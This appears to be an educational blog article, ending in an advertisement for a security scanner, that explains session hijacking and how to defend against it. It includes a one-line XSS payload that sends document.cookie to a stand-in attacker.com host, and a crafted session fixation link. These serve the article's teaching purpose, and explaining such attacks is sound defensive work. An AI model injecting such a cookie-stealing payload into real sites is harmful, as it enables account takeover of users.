What Is Session Hijacking? How Attackers Steal Logged-In Sessions

The Problem with Passwords

Most web application security thinking is focused on the login step. Strong passwords, MFA, rate limiting on login attempts — all of it is designed to stop an attacker getting past the front door.

Session hijacking is an attack that ignores the front door entirely. Instead of stealing your password, an attacker steals the proof that you already authenticated — your session token — and uses it to walk straight into your account as if they were you. No password needed. No MFA challenge. Just a direct impersonation of an already-authenticated user.

It is a class of attack that affects web applications, APIs, and any system that uses token-based authentication. Understanding how it works is foundational to building and testing secure applications.

What a Session Token Is

When you log into a web application, the server needs a way to remember that you authenticated. HTTP is stateless — each request is independent — so the server creates a session: a record of your authenticated state, associated with a unique identifier called a session token or session ID.

That token is typically stored in a cookie in your browser and sent with every subsequent request. The server looks up the token, finds the associated session record, confirms you are still logged in, and processes your request. The session token *is* your authentication for the duration of the session.

A typical session cookie looks like this in an HTTP header:

``` Cookie: PHPSESSID=3f8a2b9c14d7e5f6a0b1c2d3e4f5a6b7 Set-Cookie: session_token=eyJhbGciOiJIUzI1NiJ9...; HttpOnly; Secure; SameSite=Strict ```

If an attacker obtains that token, they can send requests to the server using it and the server will treat those requests as coming from you.

How Attackers Steal Session Tokens

**Cross-Site Scripting (XSS)** is the most common route. If an attacker can inject JavaScript into a page that executes in another user's browser, they can read the session cookie with `document.cookie` and exfiltrate it:

```javascript // Injected via XSS vulnerability fetch('https://attacker.com/steal?c=' + document.cookie); ```

The `HttpOnly` cookie flag prevents JavaScript from reading the cookie — a critical defence specifically against this vector. Cookies without `HttpOnly` set are trivially stealable via any XSS vulnerability on the same domain.

**Network interception** — on unencrypted HTTP connections, session tokens are transmitted in plaintext and can be captured by anyone on the same network. On a public Wi-Fi network, this is straightforward with a packet sniffer. The `Secure` cookie flag ensures the cookie is only sent over HTTPS connections, mitigating this.

**Session fixation** — a subtler attack. Instead of stealing a token that already exists, the attacker plants one. They obtain a valid session token from the server (before any authentication), then trick the victim into authenticating while using that token (via a crafted link: `https://victim-site.com/login?session_id=ATTACKER_KNOWN_VALUE`). After the victim logs in, the attacker uses the same token — which the server now associates with an authenticated session — to access the account.

The defence: regenerate the session token on authentication. After a successful login, the server should invalidate the old session ID and issue a new one.

**Predictable session tokens** — older or poorly implemented applications generate session IDs from sequential numbers, timestamps, or weak random number generators. If an attacker can predict or enumerate valid session tokens, they can impersonate users without ever stealing a specific token. Modern frameworks generate cryptographically random session IDs; this is less common in recent applications but still appears in legacy systems.

**Man-in-the-middle attacks on active sessions** — covered in its own article, but relevant here: if an attacker can intercept traffic between a client and server (via ARP spoofing, rogue hotspot, or SSL stripping), they can extract session tokens from HTTP headers in real time.

**Malware and browser credential theft** — infostealer malware harvests cookies (including session cookies) from browser storage. Stolen cookies can be imported into an attacker's browser to resume active sessions, even across different machines. This is increasingly common with the proliferation of infostealer-as-a-service offerings.

What Attackers Do with a Stolen Session

With a valid session token, the attacker has full authenticated access as the victim for as long as the session is valid. Typical actions:

- Account takeover: change email address and password to lock out the legitimate user - Data exfiltration: access private data, messages, documents, billing information - Financial fraud: on banking or e-commerce applications, initiate transactions - Lateral movement: use the compromised account to access connected services or internal systems - Persistent access: create additional accounts, API keys, or access tokens before the session expires

How to Defend Against Session Hijacking

**Set `HttpOnly` on session cookies.** Prevents JavaScript access. No legitimate client-side code should need to read the session cookie directly.

**Set `Secure` on session cookies.** Ensures the cookie is only transmitted over HTTPS.

**Set `SameSite=Strict` or `SameSite=Lax`.** Prevents the cookie from being sent on cross-site requests, mitigating CSRF attacks and some session hijacking vectors.

**Regenerate session ID after login.** Issue a new session token immediately after successful authentication. Invalidate the pre-authentication session token.

**Implement session expiry.** Both absolute expiry (session expires after X hours regardless of activity) and idle timeout (session expires after X minutes of inactivity). Short timeouts reduce the window of opportunity for token reuse.

**Validate session context.** Optionally bind sessions to client characteristics (IP address, User-Agent string). Changes in these values can trigger re-authentication. This has usability trade-offs (mobile users change IPs frequently) but adds a layer of defence.

**Eliminate XSS vulnerabilities.** The `HttpOnly` flag mitigates cookie theft via XSS, but an attacker with XSS execution can still perform actions using the victim's session from within the browser context. Eliminating XSS is the proper fix; `HttpOnly` is a damage-limiting measure.

**Use Content Security Policy (CSP).** A strict CSP limits where JavaScript can send data, making exfiltration harder even if XSS injection is achieved.

Yrzo AI's scan checks session cookie flags (`HttpOnly`, `Secure`, `SameSite`), identifies XSS injection points, and flags missing security headers including CSP — the combined set of issues that enable session hijacking. Run your scan at yrzoai.dev.